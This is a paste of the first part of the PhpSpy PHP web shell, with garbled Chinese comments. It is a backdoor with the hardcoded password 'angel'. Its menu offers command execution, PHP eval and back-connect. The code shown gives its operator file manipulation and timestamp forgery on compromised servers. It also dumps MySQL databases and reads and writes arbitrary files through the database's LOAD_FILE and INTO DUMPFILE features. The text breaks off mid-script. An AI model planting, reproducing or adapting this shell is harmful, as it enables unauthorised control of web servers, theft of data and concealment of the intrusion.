· 9 years ago · May 06, 2017, 09:06 AM
1?><?php
2
3
4
5error_reporting(7);
6@set_magic_quotes_runtime(0);
7ob_start();
8$mtime = explode(' ', microtime());
9$starttime = $mtime[1] + $mtime[0];
10define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
11//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
12define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
13define('IS_COM', class_exists('COM') ? 1 : 0 );
14define('IS_GPC', get_magic_quotes_gpc());
15$dis_func = get_cfg_var('disable_functions');
16define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
17@set_time_limit(0);
18
19foreach(array('_GET','_POST') as $_request) {
20 foreach($$_request as $_key => $_value) {
21 if ($_key{0} != '_') {
22 if (IS_GPC) {
23 $_value = s_array($_value);
24 }
25 $$_key = $_value;
26 }
27 }
28}
29
30/*===================== ³ÌÐòÅäÖà =====================*/
31$admin = array();
32// ÊÇ·ñÐèÒªÃÜÂëÑéÖ¤, true ΪÐèÒªÑéÖ¤, false Ϊֱ½Ó½øÈë.ÏÂÃæÑ¡ÏîÔòÎÞЧ
33$admin['check'] = true;
34// Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë
35$admin['pass'] = 'angel';
36
37//ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ
38// cookie ǰ׺
39$admin['cookiepre'] = '';
40// cookie ×÷ÓÃÓò
41$admin['cookiedomain'] = '';
42// cookie ×÷Ó÷¾¶
43$admin['cookiepath'] = '/';
44// cookie ÓÐЧÆÚ
45$admin['cookielife'] = 86400;
46/*===================== ÅäÖýáÊø =====================*/
47
48if ($charset == 'utf8') {
49 header("content-Type: text/html; charset=utf-8");
50} elseif ($charset == 'big5') {
51 header("content-Type: text/html; charset=big5");
52} elseif ($charset == 'gbk') {
53 header("content-Type: text/html; charset=gbk");
54} elseif ($charset == 'latin1') {
55 header("content-Type: text/html; charset=iso-8859-2");
56}
57
58$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
59$timestamp = time();
60
61/*===================== Éí·ÝÑéÖ¤ =====================*/
62if ($action == "logout") {
63 scookie('pass', '', -86400 * 365);
64
65 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
66 exit;
67}
68if($admin['check']) {
69 if ($doing == 'login') {
70 if ($admin['pass'] == $password) {
71 scookie('pass', $password);
72 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
73 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
74 exit;
75 }
76 }
77 if ($_COOKIE['pass']) {
78 if ($_COOKIE['pass'] != $admin['pass']) {
79 loginpage();
80 }
81 } else {
82 loginpage();
83 }
84}
85/*===================== ÑéÖ¤½áÊø =====================*/
86
87$errmsg = '';
88
89// ²é¿´PHPINFO
90if ($action == 'phpinfo') {
91 if (IS_PHPINFO) {
92 phpinfo();
93 } else {
94 $errmsg = 'phpinfo() function has non-permissible';
95 }
96}
97
98// ÏÂÔØÎļþ
99if ($doing == 'downfile' && $thefile) {
100 if (!@file_exists($thefile)) {
101 $errmsg = 'The file you want Downloadable was nonexistent';
102 } else {
103 $fileinfo = pathinfo($thefile);
104 header('Content-type: application/x-'.$fileinfo['extension']);
105 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
106 header('Content-Length: '.filesize($thefile));
107 @readfile($thefile);
108 exit;
109 }
110}
111
112// Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â
113if ($doing == 'backupmysql' && !$saveasfile) {
114 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
115 $table = array_flip($table);
116 $result = q("SHOW tables");
117 if (!$result) p('<h2>'.mysql_error().'</h2>');
118 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
119 header('Content-type: application/unknown');
120 header('Content-Disposition: attachment; filename='.$filename);
121 $mysqldata = '';
122 while ($currow = mysql_fetch_array($result)) {
123 if (isset($table[$currow[0]])) {
124 $mysqldata .= sqldumptable($currow[0]);
125 }
126 }
127 mysql_close();
128 exit;
129}
130
131// ͨ¹ýMYSQLÏÂÔØÎļþ
132if($doing=='mysqldown'){
133 if (!$dbname) {
134 $errmsg = 'Please input dbname';
135 } else {
136 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
137 if (!file_exists($mysqldlfile)) {
138 $errmsg = 'The file you want Downloadable was nonexistent';
139 } else {
140 $result = q("select load_file('$mysqldlfile');");
141 if(!$result){
142 q("DROP TABLE IF EXISTS tmp_angel;");
143 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
144 //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö
145 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
146 $result = q("select content from tmp_angel");
147 q("DROP TABLE tmp_angel");
148 }
149 $row = @mysql_fetch_array($result);
150 if (!$row) {
151 $errmsg = 'Load file failed '.mysql_error();
152 } else {
153 $fileinfo = pathinfo($mysqldlfile);
154 header('Content-type: application/x-'.$fileinfo['extension']);
155 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
156 header("Accept-Length: ".strlen($row[0]));
157 echo $row[0];
158 exit;
159 }
160 }
161 }
162}
163
164?>
165<html>
166<head>
167<meta http-equiv="Content-Type" content="text/html; charset=gbk">
168<title></title>
169<style type="text/css">
170body,td{font: 12px Arial,Tahoma;line-height: 16px;}
171.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
172.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
173.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
174a {color: #00f;text-decoration:underline;}
175a:hover{color: #f00;text-decoration:none;}
176.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
177.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
178.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
179.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
180.head td span{font-weight:normal;}
181form{margin:0;padding:0;}
182h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
183ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
184u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
185</style>
186<script type="text/javascript">
187function CheckAll(form) {
188 for(var i=0;i<form.elements.length;i++) {
189 var e = form.elements[i];
190 if (e.name != 'chkall')
191 e.checked = form.chkall.checked;
192 }
193}
194function $(id) {
195 return document.getElementById(id);
196}
197function goaction(act){
198 $('goaction').action.value=act;
199 $('goaction').submit();
200}
201</script>
202</head>
203<body style="margin:0;table-layout:fixed; word-break:break-all">
204<table width="100%" border="0" cellpadding="0" cellspacing="0">
205 <tr class="head">
206
207 </tr>
208 <tr class="alt1">
209 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
210 <a href="javascript:goaction('logout');">Logout</a> |
211 <a href="javascript:goaction('file');">File Manager</a> |
212 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
213 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
214 <a href="javascript:goaction('shell');">Execute Command</a> |
215 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
216 <a href="javascript:goaction('eval');">Eval PHP Code</a>
217 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
218 </td>
219 </tr>
220</table>
221<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
222<?php
223
224formhead(array('name'=>'goaction'));
225makehide('action');
226formfoot();
227
228$errmsg && m($errmsg);
229
230// »ñÈ¡µ±Ç°Â·¾¶
231!$dir && $dir = '.';
232$nowpath = getPath(SA_ROOT, $dir);
233if (substr($dir, -1) != '/') {
234 $dir = $dir.'/';
235}
236$uedir = ue($dir);
237
238if (!$action || $action == 'file') {
239
240 // Åж϶ÁдÇé¿ö
241 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
242
243 // ɾ³ýĿ¼
244 if ($doing == 'deldir' && $thefile) {
245 if (!file_exists($thefile)) {
246 m($thefile.' directory does not exist');
247 } else {
248 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
249 }
250 }
251
252 // ´´½¨Ä¿Â¼
253 elseif ($newdirname) {
254 $mkdirs = $nowpath.$newdirname;
255 if (file_exists($mkdirs)) {
256 m('Directory has already existed');
257 } else {
258 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
259 @chmod($mkdirs,0777);
260 }
261 }
262
263 // ÉÏ´«Îļþ
264 elseif ($doupfile) {
265 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
266 }
267
268 // ±à¼Îļþ
269 elseif ($editfilename && $filecontent) {
270 $fp = @fopen($editfilename,'w');
271 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
272 @fclose($fp);
273 }
274
275 // ±à¼ÎļþÊôÐÔ
276 elseif ($pfile && $newperm) {
277 if (!file_exists($pfile)) {
278 m('The original file does not exist');
279 } else {
280 $newperm = base_convert($newperm,8,10);
281 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
282 }
283 }
284
285 // ¸ÄÃû
286 elseif ($oldname && $newfilename) {
287 $nname = $nowpath.$newfilename;
288 if (file_exists($nname) || !file_exists($oldname)) {
289 m($nname.' has already existed or original file does not exist');
290 } else {
291 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
292 }
293 }
294
295 // ¸´ÖÆÎļþ
296 elseif ($sname && $tofile) {
297 if (file_exists($tofile) || !file_exists($sname)) {
298 m('The goal file has already existed or original file does not exist');
299 } else {
300 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
301 }
302 }
303
304 // ¿Ë¡ʱ¼ä
305 elseif ($curfile && $tarfile) {
306 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
307 m('The goal file has already existed or original file does not exist');
308 } else {
309 $time = @filemtime($tarfile);
310 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
311 }
312 }
313
314 // ×Ô¶¨Òåʱ¼ä
315 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
316 if (!@file_exists($curfile)) {
317 m(basename($curfile).' does not exist');
318 } else {
319 $time = strtotime("$year-$month-$day $hour:$minute:$second");
320 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
321 }
322 }
323
324 // ´ò°üÏÂÔØ
325 elseif($doing == 'downrar') {
326 if ($dl) {
327 $dfiles='';
328 foreach ($dl as $filepath => $value) {
329 $dfiles.=$filepath.',';
330 }
331 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
332 $dl=explode(',',$dfiles);
333 $zip=new PHPZip($dl);
334 $code=$zip->out;
335 header('Content-type: application/octet-stream');
336 header('Accept-Ranges: bytes');
337 header('Accept-Length: '.strlen($code));
338 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
339 echo $code;
340 exit;
341 } else {
342 m('Please select file(s)');
343 }
344 }
345
346 // ÅúÁ¿É¾³ýÎļþ
347 elseif($doing == 'delfiles') {
348 if ($dl) {
349 $dfiles='';
350 $succ = $fail = 0;
351 foreach ($dl as $filepath => $value) {
352 if (@unlink($filepath)) {
353 $succ++;
354 } else {
355 $fail++;
356 }
357 }
358 m('Deleted file have finished£¬choose '.count($dl).' success '.$succ.' fail '.$fail);
359 } else {
360 m('Please select file(s)');
361 }
362 }
363
364 //²Ù×÷Íê±Ï
365 formhead(array('name'=>'createdir'));
366 makehide('newdirname');
367 makehide('dir',$nowpath);
368 formfoot();
369 formhead(array('name'=>'fileperm'));
370 makehide('newperm');
371 makehide('pfile');
372 makehide('dir',$nowpath);
373 formfoot();
374 formhead(array('name'=>'copyfile'));
375 makehide('sname');
376 makehide('tofile');
377 makehide('dir',$nowpath);
378 formfoot();
379 formhead(array('name'=>'rename'));
380 makehide('oldname');
381 makehide('newfilename');
382 makehide('dir',$nowpath);
383 formfoot();
384 formhead(array('name'=>'fileopform'));
385 makehide('action');
386 makehide('opfile');
387 makehide('dir');
388 formfoot();
389
390 $free = @disk_free_space($nowpath);
391 !$free && $free = 0;
392 $all = @disk_total_space($nowpath);
393 !$all && $all = 0;
394 $used = $all-$free;
395 $used_percent = @round(100/($all/$free),2);
396 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
397
398?>
399<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
400 <form action="" method="post" id="godir" name="godir">
401 <tr>
402 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
403 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
404 <td nowrap><input class="bt" value="GO" type="submit"></td>
405 </tr>
406 </form>
407</table>
408<script type="text/javascript">
409function createdir(){
410 var newdirname;
411 newdirname = prompt('Please input the directory name:', '');
412 if (!newdirname) return;
413 $('createdir').newdirname.value=newdirname;
414 $('createdir').submit();
415}
416function fileperm(pfile){
417 var newperm;
418 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
419 if (!newperm) return;
420 $('fileperm').newperm.value=newperm;
421 $('fileperm').pfile.value=pfile;
422 $('fileperm').submit();
423}
424function copyfile(sname){
425 var tofile;
426 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
427 if (!tofile) return;
428 $('copyfile').tofile.value=tofile;
429 $('copyfile').sname.value=sname;
430 $('copyfile').submit();
431}
432function rename(oldname){
433 var newfilename;
434 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
435 if (!newfilename) return;
436 $('rename').newfilename.value=newfilename;
437 $('rename').oldname.value=oldname;
438 $('rename').submit();
439}
440function dofile(doing,thefile,m){
441 if (m && !confirm(m)) {
442 return;
443 }
444 $('filelist').doing.value=doing;
445 if (thefile){
446 $('filelist').thefile.value=thefile;
447 }
448 $('filelist').submit();
449}
450function createfile(nowpath){
451 var filename;
452 filename = prompt('Please input the file name:', '');
453 if (!filename) return;
454 opfile('editfile',nowpath + filename,nowpath);
455}
456function opfile(action,opfile,dir){
457 $('fileopform').action.value=action;
458 $('fileopform').opfile.value=opfile;
459 $('fileopform').dir.value=dir;
460 $('fileopform').submit();
461}
462function godir(dir,view_writable){
463 if (view_writable) {
464 $('godir').view_writable.value=1;
465 }
466 $('godir').dir.value=dir;
467 $('godir').submit();
468}
469</script>
470 <?php
471 tbhead();
472 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
473 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
474 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
475 if ($view_writable) {
476 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
477 } else {
478 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
479 }
480 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
481 if (IS_WIN && IS_COM) {
482 $obj = new COM('scripting.filesystemobject');
483 if ($obj && is_object($obj)) {
484 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
485 foreach($obj->Drives as $drive) {
486 if ($drive->DriveType == 2) {
487 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
488 } else {
489 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
490 }
491 }
492 }
493 }
494
495 p('</td></tr></form>');
496
497 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
498
499 //²é¿´ËùÓпÉдÎļþºÍĿ¼
500 $dirdata=array();
501 $filedata=array();
502
503 if ($view_writable) {
504 $dirdata = GetList($nowpath);
505 } else {
506 // Ŀ¼Áбí
507 $dirs=@opendir($dir);
508 while ($file=@readdir($dirs)) {
509 $filepath=$nowpath.$file;
510 if(@is_dir($filepath)){
511 $dirdb['filename']=$file;
512 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
513 $dirdb['dirchmod']=getChmod($filepath);
514 $dirdb['dirperm']=getPerms($filepath);
515 $dirdb['fileowner']=getUser($filepath);
516 $dirdb['dirlink']=$nowpath;
517 $dirdb['server_link']=$filepath;
518 $dirdb['client_link']=ue($filepath);
519 $dirdata[]=$dirdb;
520 } else {
521 $filedb['filename']=$file;
522 $filedb['size']=sizecount(@filesize($filepath));
523 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
524 $filedb['filechmod']=getChmod($filepath);
525 $filedb['fileperm']=getPerms($filepath);
526 $filedb['fileowner']=getUser($filepath);
527 $filedb['dirlink']=$nowpath;
528 $filedb['server_link']=$filepath;
529 $filedb['client_link']=ue($filepath);
530 $filedata[]=$filedb;
531 }
532 }// while
533 unset($dirdb);
534 unset($filedb);
535 @closedir($dirs);
536 }
537 @sort($dirdata);
538 @sort($filedata);
539 $dir_i = '0';
540 foreach($dirdata as $key => $dirdb){
541 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
542 $thisbg = bg();
543 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
544 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
545 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
546 p('<td nowrap>'.$dirdb['mtime'].'</td>');
547 p('<td nowrap>--</td>');
548 p('<td nowrap>');
549 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
550 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
551 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
552 p('</tr>');
553 $dir_i++;
554 } else {
555 if($dirdb['filename']=='..') {
556 p('<tr class='.bg().'>');
557 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
558 p('</tr>');
559 }
560 }
561 }
562
563 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
564 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
565 makehide('action','file');
566 makehide('thefile');
567 makehide('doing');
568 makehide('dir',$nowpath);
569 $file_i = '0';
570 foreach($filedata as $key => $filedb){
571 if($filedb['filename']!='..' && $filedb['filename']!='.') {
572 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
573 $thisbg = bg();
574 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
575 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
576 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
577 p('<td nowrap>'.$filedb['mtime'].'</td>');
578 p('<td nowrap>'.$filedb['size'].'</td>');
579 p('<td nowrap>');
580 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
581 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
582 p('<td nowrap>');
583 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
584 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
585 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
586 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
587 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
588 p('</td></tr>');
589 $file_i++;
590 }
591 }
592 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
593 p('</form></table>');
594}// end dir
595
596elseif ($action == 'sqlfile') {
597 if($doing=="mysqlupload"){
598 $file = $_FILES['uploadfile'];
599 $filename = $file['tmp_name'];
600 if (file_exists($savepath)) {
601 m('The goal file has already existed');
602 } else {
603 if(!$filename) {
604 m('Please choose a file');
605 } else {
606 $fp=@fopen($filename,'r');
607 $contents=@fread($fp, filesize($filename));
608 @fclose($fp);
609 $contents = bin2hex($contents);
610 if(!$upname) $upname = $file['name'];
611 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
612 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
613 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
614 }
615 }
616 }
617?>
618<script type="text/javascript">
619function mysqlfile(doing){
620 if(!doing) return;
621 $('doing').value=doing;
622 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
623 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
624 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
625 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
626 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
627 $('mysqlfile').charset.value=$('dbinfo').charset.value;
628 $('mysqlfile').submit();
629}
630</script>
631<?php
632 !$dbhost && $dbhost = 'localhost';
633 !$dbuser && $dbuser = 'root';
634 !$dbport && $dbport = '3306';
635 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
636 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
637 makehide('action','sqlfile');
638 p('<p>');
639 p('DBHost:');
640 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
641 p(':');
642 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
643 p('DBUser:');
644 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
645 p('DBPass:');
646 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
647 p('DBName:');
648 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
649 p('DBCharset:');
650 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
651 p('</p>');
652 formfoot();
653 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
654 p('<h2>Upload file</h2>');
655 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
656 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
657 p('<h2>Download file</h2>');
658 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
659 makehide('dbhost');
660 makehide('dbport');
661 makehide('dbuser');
662 makehide('dbpass');
663 makehide('dbname');
664 makehide('charset');
665 makehide('doing');
666 makehide('action','sqlfile');
667 p('</form>');
668}
669
670elseif ($action == 'sqladmin') {
671 !$dbhost && $dbhost = 'localhost';
672 !$dbuser && $dbuser = 'root';
673 !$dbport && $dbport = '3306';
674 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
675 if(isset($dbhost)){
676 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
677 }
678 if(isset($dbuser)) {
679 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
680 }
681 if(isset($dbpass)) {
682 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
683 }
684 if(isset($dbport)) {
685 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
686 }
687 if(isset($dbname)) {
688 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
689 }
690 if(isset($charset)) {
691 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
692 }
693
694 if ($doing == 'backupmysql' && $saveasfile) {
695 if (!$table) {
696 m('Please choose the table');
697 } else {
698 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
699 $table = array_flip($table);
700 $fp = @fopen($path,'w');
701 if ($fp) {
702 $result = q('SHOW tables');
703 if (!$result) p('<h2>'.mysql_error().'</h2>');
704 $mysqldata = '';
705 while ($currow = mysql_fetch_array($result)) {
706 if (isset($table[$currow[0]])) {
707 sqldumptable($currow[0], $fp);
708 }
709 }
710 fclose($fp);
711 $fileurl = str_replace(SA_ROOT,'',$path);
712 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
713 mysql_close();
714 } else {
715 m('Backup failed');
716 }
717 }
718 }
719 if ($insert && $insertsql) {
720 $keystr = $valstr = $tmp = '';
721 foreach($insertsql as $key => $val) {
722 if ($val) {
723 $keystr .= $tmp.$key;
724 $valstr .= $tmp."'".addslashes($val)."'";
725 $tmp = ',';
726 }
727 }
728 if ($keystr && $valstr) {
729 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
730 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
731 }
732 }
733 if ($update && $insertsql && $base64) {
734 $valstr = $tmp = '';
735 foreach($insertsql as $key => $val) {
736 $valstr .= $tmp.$key."='".addslashes($val)."'";
737 $tmp = ',';
738 }
739 if ($valstr) {
740 $where = base64_decode($base64);
741 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
742 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
743 }
744 }
745 if ($doing == 'del' && $base64) {
746 $where = base64_decode($base64);
747 $delete_sql = "DELETE FROM $tablename WHERE $where";
748 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
749 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
750 }
751
752 if ($tablename && $doing == 'drop') {
753 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
754 if (q("DROP TABLE $tablename")) {
755 m('Drop table of success');
756 $tablename = '';
757 } else {
758 m(mysql_error());
759 }
760 }
761
762 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
763
764 formhead(array('title'=>'MYSQL Manager'));
765 makehide('action','sqladmin');
766 p('<p>');
767 p('DBHost:');
768 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
769 p(':');
770 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
771 p('DBUser:');
772 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
773 p('DBPass:');
774 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
775 p('DBCharset:');
776 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
777 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
778 p('</p>');
779 formfoot();
780?>
781<script type="text/javascript">
782function editrecord(action, base64, tablename){
783 if (action == 'del') {
784 if (!confirm('Is or isn\'t deletion record?')) return;
785 }
